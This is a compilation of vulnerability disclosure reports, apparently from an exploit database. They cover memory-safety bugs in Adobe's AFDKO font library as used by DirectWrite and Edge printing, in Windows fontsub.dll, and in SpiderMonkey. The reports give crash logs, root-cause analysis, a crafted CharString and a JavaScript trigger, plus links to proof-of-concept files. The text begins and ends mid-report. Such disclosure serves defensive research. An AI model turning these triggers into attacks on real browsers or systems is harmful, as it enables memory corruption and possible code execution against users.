=> 0x45deaa <t2Decode+1130>: mov %ecx,0x18(%rax)
0x45dead <t2Decode+1133>: mov -0x18(%rbp),%rax
0x45deb1 <t2Decode+1137>: mov 0x8(%rax),%rcx
0x45deb5 <t2Decode+1141>: mov %rcx,%rdx
0x45deb8 <t2Decode+1144>: add $0xffffffffffffffff,%rdx
0x45debc <t2Decode+1148>: mov %rdx,0x8(%rax)
0x45dec0 <t2Decode+1152>: cmp $0x0,%rcx
0x45dec4 <t2Decode+1156>: jle 0x45df0e <t2Decode+1230>
0x45deca <t2Decode+1162>: mov -0x18(%rbp),%rax
0x45dece <t2Decode+1166>: mov -0x18(%rbp),%rcx
(gdb) info reg $rax
rax 0x7ffffffff488 140737488352392
(gdb)
--- cut ---
A crash log from the Microsoft Edge renderer process, while trying to print a webpage containing the malformed variable font:
--- cut ---
(3fa8.3104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!t2Decode+0x203:
00007ff9`ac0f1777 89943938590000 mov dword ptr [rcx+rdi+5938h],edx ds:000000d9`a5541448=????????
0:038> !teb
TEB at 000000d9a274f000
ExceptionList: 0000000000000000
StackBase: 000000d9a5540000
StackLimit: 000000d9a552b000
0:038> ? edx
Evaluate expression: 4 = 00000000`00000004
0:038> ? rcx
Evaluate expression: 64320 = 00000000`0000fb40
0:038> ? rdi
Evaluate expression: 934781566928 = 000000d9`a552bfd0
0:038> k
# Child-SP RetAddr Call Site
00 000000d9`a552b090 00007ff9`ac0f186e DWrite!t2Decode+0x203
01 000000d9`a552b1d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
02 000000d9`a552b310 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
03 000000d9`a552b450 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
04 000000d9`a552b590 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
05 000000d9`a552b6d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
06 000000d9`a552b810 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
07 000000d9`a552b950 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
08 000000d9`a552ba90 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
09 000000d9`a552bbd0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
0a 000000d9`a552bd10 00007ff9`ac0f1eba DWrite!t2Decode+0x2fa
0b 000000d9`a552be50 00007ff9`ac0f4a62 DWrite!t2Decode+0x946
0c 000000d9`a552bf90 00007ff9`ac0dc103 DWrite!t2cParse+0x28e
0d 000000d9`a553b8f0 00007ff9`ac0de3f7 DWrite!readGlyph+0x12b
0e 000000d9`a553b960 00007ff9`ac0d2272 DWrite!cfrIterateGlyphs+0x37
0f 000000d9`a553b9b0 00007ff9`ac06157a DWrite!AdobeCFF2Snapshot+0x19a
10 000000d9`a553beb0 00007ff9`ac060729 DWrite!FontInstancer::InstanceCffTable+0x212
11 000000d9`a553c090 00007ff9`ac06039a DWrite!FontInstancer::CreateInstanceInternal+0x249
12 000000d9`a553c2b0 00007ff9`ac045a4e DWrite!FontInstancer::CreateInstance+0x192
13 000000d9`a553c610 00007ff9`b71161ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
14 000000d9`a553c6a0 00007ff9`b7109148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
15 000000d9`a553c7c0 00007ff9`904e50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
16 000000d9`a553c810 00007ff9`904bfcb0 edgehtml!CDXPrintControl::Close+0x44
17 000000d9`a553c860 00007ff9`904c47ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
18 000000d9`a553c890 00007ff9`9039b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
19 000000d9`a553c8c0 00007ff9`00000000 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47086.zip
/*
For constructors, Spidermonkey implements a "definite property analysis" [1] to compute which properties will definitely exist on the constructed objects. Spidermonkey then directly allocates the constructed objects with the final Shape. As such, at the entrypoint of the constructor the constructed objects will already "look like" they have all the properties that are only installed throughout the constructor. This mechanism e.g. makes it possible to omit some Shape updates in JITed code. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 for another short explanation of this mechanism.
The definite property analysis must ensure that "predefining" the properties in such a way will not be visible to the running script. In particular, it can only mark properties as definite if they aren't read or otherwise accessed before the assignment.
In the following JavaScript program, discovered through fuzzing and then manually modified, Spidermonkey appears to incorrectly handle such a scenario:
*/
l = undefined;
function v10() {
let v15 = 0;
try {
const v16 = v15.foobar();
} catch(v17) {
l = this.uninitialized;
}
this.uninitialized = 1337;
}
for (let v36 = 0; v36 < 100; v36++) {
const v38 = new v10();
if (l !== undefined) {
console.log("Success: 0x" + l.toString(16));
break;
}
}
/*
When run on a local Spidermonkey built from the beta branch or in Firefox 66.0.3 with `javascript.options.unboxed_objects` set to true in about:config, it will eventually output something like:
Success: 0x2d2d2d2d
Here, the definite property analysis concluded that .uninitialized is definitely assigned to the constructed objects and not accessed before it is assigned (which is wrong). In particular, it seems that the catch block is entirely ignored by the analysis as it is not present in the Ion graph representation of v10 on which the analysis is performed. As such, when reading .uninitialized in the catch block, uninitialized memory (which seems to be initialized with 0x2d in debug builds) is read from `this` and later printed to stdout. If the line `this.uninitialized = 1337;` is modified to instead assign a double value (e.g. `this.uninitialized = 13.37;`), then an assertion failure can be observed:
Assertion failure: isDouble(), at js/src/build_DBG.OBJ/dist/include/js/Value.h:450
As unboxed properties can also store JSObject pointers, this bug can likely be turned into memory corruption as well. However, since this requires unboxed object, which have recently been disabled by default and appear to be fully removed soon, it likely only affects non-standard configurations of FireFox. If unboxed objects are disabled (e.g. through --no-unboxed-objects), then the analysis will still be incorrect and determine that .uninitialized can be "predefined". This can be observed by changing `l = this.uninitialized;` to `l = this.hasOwnProperty('uninitialized');` which will incorrectly return true. In that case, the property slots seem to be initialized with `undefined` though, so no memory safety violation occurs. However, I have not verified that they will always be initialized in that way. Furthermore, it might be possible to confuse property type inference in that case, but I have not attempted that.
Below is the original sample triggered by fuzzilli. It ended up reading the property by spreading |this|.
// Run with --no-threads --ion-warmup-threshold=100
function main() {
const v3 = Object != Object;
let v4 = v3;
const v5 = typeof undefined;
const v7 = v5 === "undefined";
const v9 = Array();
function v10(v11,v12) {
let v15 = 0;
try {
const v16 = v15.race();
} catch(v17) {
for (let v21 = 0; v21 < 7; v21++) {
let v24 = 0;
while (v24 < 256) {
const v25 = v24 + 1;
v24 = v25;
}
const v26 = Array == v21;
const v27 = {trimStart:v4,seal:v10,...v26,...v9,...v26,...v26,...this,...v7};
}
}
for (let v30 = 0; v30 < 9; v30++) {
}
const v31 = v4 + 1;
this.E = v31;
}
const v32 = v10();
for (let v36 = 0; v36 < 5; v36++) {
const v38 = new v10();
let v39 = Object;
const v41 = Object();
const v42 = v41.getOwnPropertyDescriptors;
let v43 = v42;
const v44 = {LN10:v42,unshift:Object,isFinite:Object,test:v41,...v43,...v39,...v41};
}
}
main();
gc();
*/
-----=====[ Background ]=====-----
The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.
The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.
-----=====[ Description ]=====-----
We have encountered the following crash in fontsub!MergeFonts:
--- cut ---
(5f7c.29fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!MergeFonts+0x774:
00007fff`aa53b214 413944cd00 cmp dword ptr [r13+rcx*8],eax ds:0000018a`014e8000=????????
0:000> ? r13
Evaluate expression: 1692239036224 = 0000018a`014e7f40
0:000> ? rcx
Evaluate expression: 24 = 00000000`00000018
0:000> ? eax
Evaluate expression: 1191239935 = 00000000`4700e0ff
0:000> dd r13 r13+18*8-1
0000018a`014e7f40 68656164 c18e145a 000000cc 00000036
0000018a`014e7f50 68686561 0bde01ea 00000104 00000024
0000018a`014e7f60 6d617870 0666d833 00000128 00000020
0000018a`014e7f70 686d7478 4872344e 00000148 0000016a
0000018a`014e7f80 636d6170 4079c39a 000002b4 00000996
0000018a`014e7f90 676c7966 4ec7e46c 00000c4c 00009e8c
0000018a`014e7fa0 6c6f6361 a4f67e41 0000aad8 00000166
0000018a`014e7fb0 45424454 fe7d185f 0000b148 00000145
0000018a`014e7fc0 45424c43 1babe979 0000ac40 00000508
0000018a`014e7fd0 62646174 fe7d185f 0000b798 00000145
0000018a`014e7fe0 626c6f63 1babe979 0000b290 00000508
0000018a`014e7ff0 64747466 74f237b6 0000b8e0 00000176
0:000> !heap -p -a r13
address 0000018a014e7f40 found in
_DPH_HEAP_ROOT @ 18a01001000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
18a0100f068: 18a014e7f40 c0 - 18a014e7000 2000
unknown!printable
00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
00007fffb4efbe42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
00007fffcca398f0 msvcrt!malloc+0x0000000000000070
00007fffaa53fd1e FONTSUB!Mem_Alloc+0x0000000000000012
00007fffaa53abbd FONTSUB!MergeFonts+0x000000000000011d
00007fffaa53baac FONTSUB!MergeDeltaTTF+0x00000000000003ec
00007fffaa5314b2 FONTSUB!MergeFontPackage+0x0000000000000132
[...]
0:000> k
# Child-SP RetAddr Call Site
00 00000079`dc4fd910 00007fff`aa53baac FONTSUB!MergeFonts+0x774
01 00000079`dc4fdac0 00007fff`aa5314b2 FONTSUB!MergeDeltaTTF+0x3ec
02 00000079`dc4fdc00 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
[...]
--- cut ---
The root cause of the crash seems to be an out-of-bounds access to an array storing SFNT table headers.
The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47084.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object:
--- cut ---
70 struct /* Operand stack */
71 {
72 long cnt;
73 float array[CFF2_MAX_OP_STACK];
74 unsigned short numRegions;
75 long blendCnt;
76 abfOpEntry blendArray[CFF2_MAX_OP_STACK];
77 abfBlendArg blendArgs[T2_MAX_STEMS];
78 } stack;
--- cut ---
The "cnt" and "array" fields correspond to the regular stack used by all kinds of OpenType fonts. The remaining fields only have a purpose in the handling of the new CFF2 format (variable fonts). Whenever a new value is pushed on the stack, it is written to array[] and optionally blendArray[], as seen in the definition of the PUSH() macro:
--- cut ---
153 #define PUSH(v) \
154 { \
155 if (h->aux->flags & T2C_IS_CFF2) h->stack.blendArray[h->stack.blendCnt++].value = (float)(v); \
156 h->stack.array[h->stack.cnt++] = (float)(v); \
157 }
--- cut ---
However, the reverse POP() macro only pops a value from the main stack, and doesn't touch blendCnt/blendArray:
--- cut ---
152 #define POP() (h->stack.array[--h->stack.cnt])
--- cut ---
This assymetry creates the following problem: there are CFF instructions such as the arithmetic ones, which take values from the top of the stack, use them as factors in some operation, and push the result back. More formally, they pop N values and push back M values, where N != 0, M != 0, N >= M. After executing such an instruction, the stack index is smaller or equal to its previous value.
Because of this, the interpreter doesn't need to check for stack overflow (use the CHKOFLOW macro), and instead must only check if there are enough input values on the stack (with CHKUFLOW). Examples of such behavior are shown below:
--- cut ---
1616 case tx_abs:
1617 CHKUFLOW(h, 1);
1618 {
1619 float a = POP();
1620 PUSH((a < 0.0f) ? -a : a);
1621 }
1622 continue;
1623 case tx_add:
1624 CHKUFLOW(h, 2);
1625 {
1626 float b = POP();
1627 float a = POP();
1628 PUSH(a + b);
1629 }
1630 continue;
--- cut ---
However, this approach is only valid if the PUSH/POP operations are fully symmetric. In the current state of the code, the execution of each such instruction increments the blendCnt counter without verifying if it goes out-of-bounds. By executing many such instructions in a variable font, it possible to overflow blendArray[] and corrupt the memory after it, including other fields of the t2cCtx object and further data stored on the thread's native stack. This may eventually lead to arbitrary code execution.
-----=====[ Proof of Concept ]=====-----
The proof of concept file includes a specially crafted CharString for glyph "A" of the format:
--- cut ---
1621139584 134217728 div dup exch exch exch exch exch ...
--- cut ---
The initial four instructions craft two floats on the stack with a binary representation of 0x41414141. The remaining part of the program is the "exch" instruction repeated 30000 times, which keeps the number of elements on the regular stack at 2 (by just continuously exchanging them), while filling out the t2cCtx.stack.blendArray array with more and more data until it is overflown.
-----=====[ Crash logs ]=====-----
A 64-bit "tx" utility compiled with AddressSanitizer and a custom patch to insert ASAN redzones in between the t2cCtx structure fields crashes with the following report, when run as ./tx -cff poc.otf:
--- cut ---
=================================================================
==158130==ERROR: AddressSanitizer: use-after-poison on address 0x7ffc38744c30 at pc 0x000000682b20 bp 0x7ffc3873e950 sp 0x7ffc3873e948
WRITE of size 4 at 0x7ffc38744c30 thread T0
#0 0x682b1f in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33
#1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
#2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
#3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
#4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
#5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#9 0x7fc9e2d372b0 in __libc_start_main
#10 0x41e5b9 in _start
Address 0x7ffc38744c30 is located in stack of thread T0 at offset 10512 in frame
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
This frame has 2 object(s):
[32, 757896) 'h' (line 2524) <== Memory access at offset 10512 is inside this variable
[758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 in t2Decode
Shadow bytes around the buggy address:
0x1000070e0930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000070e0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000070e0950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000070e0960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000070e0970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000070e0980: 00 00 00 00 00 00[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000070e0990: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000070e09a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000070e09b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000070e09c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000070e09d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==158130==ABORTING
--- cut ---
The same "tx" program compiled without instrumentation crashes when reaching the end of the stack while still trying to write more data to blendArray. The 0x41414141 values written all over the stack can be seen in gdb's corrupted stack trace listing.
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730
1730 PUSH(a);
(gdb) info reg $rax $rsp
rax 0x7ffffffff008 140737488351240
rsp 0x7ffffff5fd60 0x7ffffff5fd60
(gdb) p/x $xmm0
$1 = {v4_float = {0xc, 0x0, 0x0, 0x0}, v2_double = {0x0, 0x0}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x0 <repeats 12 times>}, v8_int16 = {0x4141, 0x4141,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x41414141, 0x0, 0x0, 0x0}, v2_int64 = {0x41414141, 0x0}, uint128 = 0x00000000000000000000000041414141}
(gdb) where
#0 0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730
#1 0x000000000045cb26 in t2cParse (offset=1094795585, endOffset=83566, aux=0x41414141, gid=2, cff2=0x41414141, glyph=0x6fd6e8, mem=0x7150b8)
at ../../../../../source/t2cstr/t2cstr.c:2591
#2 0x0000000041414141 in ?? ()
#3 0x00000000007150b8 in ?? ()
#4 0x0000000041414141 in ?? ()
#5 0x00007fffffffd620 in ?? ()
#6 0x0000000041414141 in ?? ()
#7 0xfffffffffffffffc in ?? ()
#8 0x0000000041414141 in ?? ()
#9 0x0000000000474840 in ?? () at ../../../../../source/tx_shared/tx_shared.c:4891
#10 0x0000000041414141 in ?? ()
(gdb) print h->stack.blendCnt
$2 = 40551
--- cut ---
The Microsoft Edge renderer process crashes while trying to dereference a partially overwritten h->aux pointer:
--- cut ---
(51fc.496c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!t2Decode+0x119c:
00007ffb`29e82710 f60080 test byte ptr [rax],80h ds:000001d3`41414141=??
0:038> k
# Child-SP RetAddr Call Site
00 0000006a`3df8b9e0 00007ffb`29e84a62 DWrite!t2Decode+0x119c
01 0000006a`3df8bb20 00007ffb`29e6c103 DWrite!t2cParse+0x28e
02 0000006a`3df9b480 00007ffb`29e6e3f7 DWrite!readGlyph+0x12b
03 0000006a`3df9b4f0 00007ffb`29e62272 DWrite!cfrIterateGlyphs+0x37
04 0000006a`3df9b540 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x19a
05 0000006a`3df9ba40 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
06 0000006a`3df9bc20 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
07 0000006a`3df9be40 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
08 0000006a`3df9c1a0 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
09 0000006a`3df9c230 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0a 0000006a`3df9c350 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0b 0000006a`3df9c3a0 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
0c 0000006a`3df9c3f0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0d 0000006a`3df9c420 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0e 0000006a`3df9c450 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0f 0000006a`3df9c490 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47092.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
-----=====[ Description ]=====-----
The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object:
--- cut ---
70 struct /* Operand stack */
71 {
72 long cnt;
73 float array[CFF2_MAX_OP_STACK];
74 unsigned short numRegions;
75 long blendCnt;
76 abfOpEntry blendArray[CFF2_MAX_OP_STACK];
77 abfBlendArg blendArgs[T2_MAX_STEMS];
78 } stack;
--- cut ---
Values are popped off the stack in the instruction handlers in t2Decode() using the POP() macro:
--- cut ---
152 #define POP() (h->stack.array[--h->stack.cnt])
--- cut ---
As the macro assumes that the stack is non-empty, another macro in the form of CHKUFLOW() is required to verify this requirement:
--- cut ---
137 /* Check stack contains at least n elements. */
138 #define CHKUFLOW(h, n) \
139 do { \
140 if (h->stack.cnt < (n)) return t2cErrStackUnderflow; \
141 } while (0)
--- cut ---
As a result, it is essential for the interpreter's memory safety to invoke CHKUFLOW() with an appropriate "n" argument before using POP() the corresponding number of times. In a majority of cases, the interpreter operates on the stack correctly; however, we have found several instances where the CHKUFLOW() calls are missing. The problems were identified in the handling of the following instructions:
- tx_callgrel
- tx_rmoveto
- tx_vmoveto
- tx_hmoveto
- tx_SETWVN
For example, the handler of the "rmoveto" instruction is shown below:
--- cut ---
1484 case tx_rmoveto:
1485 if (callbackWidth(h, 1))
1486 return t2cSuccess;
1487 {
1488 float y = POP();
1489 float x = POP();
1490 if ((h->flags & IS_CFF2) && (h->glyph->moveVF != NULL))
1491 popBlendArgs2(h, &INDEX_BLEND(0), &INDEX_BLEND(1));
1492 callbackMove(h, x, y);
1493 }
1494 break;
--- cut ---
It's clear that the two POP() invocations in lines 1488 and 1489 are not preceded by CHKUFLOW(). Such bugs may have two kinds of security-relevant consequences:
1. Out-of-bounds data is read and used as arguments to the affected instructions,
2. The stack index becomes negative, which could facilitate overwriting memory residing directly before the stack array.
In this particular case, the stack counter itself is placed before the stack array. This means that consequence #1 is not really a problem as the out-of-bounds data is initialized and its value is known to the attacker. As for item #2 -- an attack would require the CharString execution loop to continue to the next instruction while preserving the negative value of h->stack.cnt. For the rmoveto, vmoveto and hmoveto instructions, the stack counter is reset back to 0 in line 2303, because their handlers end with a "break;" statement:
--- cut ---
2301 } /* End: switch (byte0) */
2302 clearBlendStack(h);
2303 h->stack.cnt = 0; /* Clear stack */
2304 } /* End: while (cstr < end) */
--- cut ---
This leaves us with callgrel and SETWVN. In both cases, the out-of-bounds argument would have to be valid in the context of those instructions in order for them to not return with an error. Due to the fact that the POP() macro first decrements h->stack.cnt and then reads from h->stack.array[h->stack.cnt], the value read will always be 0xffffffff, interpreted as a float. A 32-bit float with a binary representation of 0xffffffff (which translates to NaN) takes the value of 0x80000000 when cast to an integer. According to our analysis, it is impossible for 0x80000000 to act as a valid subroutine index (in case of callgrel) or number of cube axes (in case of SETWVN). As a result, the handlers will return an error in the following locations before another instruction can execute with the negative stack index:
--- cut ---
1298 long num = unbiasLE((long)POP(), h->aux->gsubrs.cnt);
1299 if (num == -1)
1300 return t2cErrCallgsubr;
--- cut ---
and:
--- cut ---
1913 int numAxes = (int)POP();
1914 result = do_set_weight_vector_cube(h, numAxes);
1915 if (result || !(h->flags & FLATTEN_CUBE))
1916 return result;
--- cut ---
In summary, the missing CHKUFLOW() instances currently seem non-exploitable due to coincidental memory layout, conversions between data types and the semantics of the affected instructions. On the other hand, if only one of the above conditions changed in the future, these issues could become trivially exploitable by making it possible to overwrite t2cCtx.stack.cnt with an arbitrary value, thus potentially enabling arbitrary relative reads/writes on the native stack. We therefore recommend fixing the bugs despite the current exploitability assessment.
-----=====[ Proof of Concept ]=====-----
The proof of concept file contains a CharString for glyph "A" which consists only of one instruction, rmoveto. When the instruction executes, the interpreter stack is empty, so it picks up the arguments from h->stack.array[-1] and h->stack.array[-2], demonstrating the bug.
-----=====[ Crash logs ]=====-----
It seems impossible to craft a font file which crashes a regular build of the CharString interpreter. However, we have patched the t2cstr.c source code to insert AddressSanitizer redzones in between the various arrays in the t2cCtx structure. A "tx" program compiled with this patch and started with a ./tx -cff poc.otf command crashes with the following report:
--- cut ---
=================================================================
==122021==ERROR: AddressSanitizer: use-after-poison on address 0x7fffd5a9364c at pc 0x00000067a35c bp 0x7fffd5a8fc30 sp 0x7fffd5a8fc28
READ of size 4 at 0x7fffd5a9364c thread T0
#0 0x67a35b in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31
#1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
#2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
#3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
#4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
#5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#9 0x7f6a599042b0 in __libc_start_main
#10 0x41e5b9 in _start
Address 0x7fffd5a9364c is located in stack of thread T0 at offset 76 in frame
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
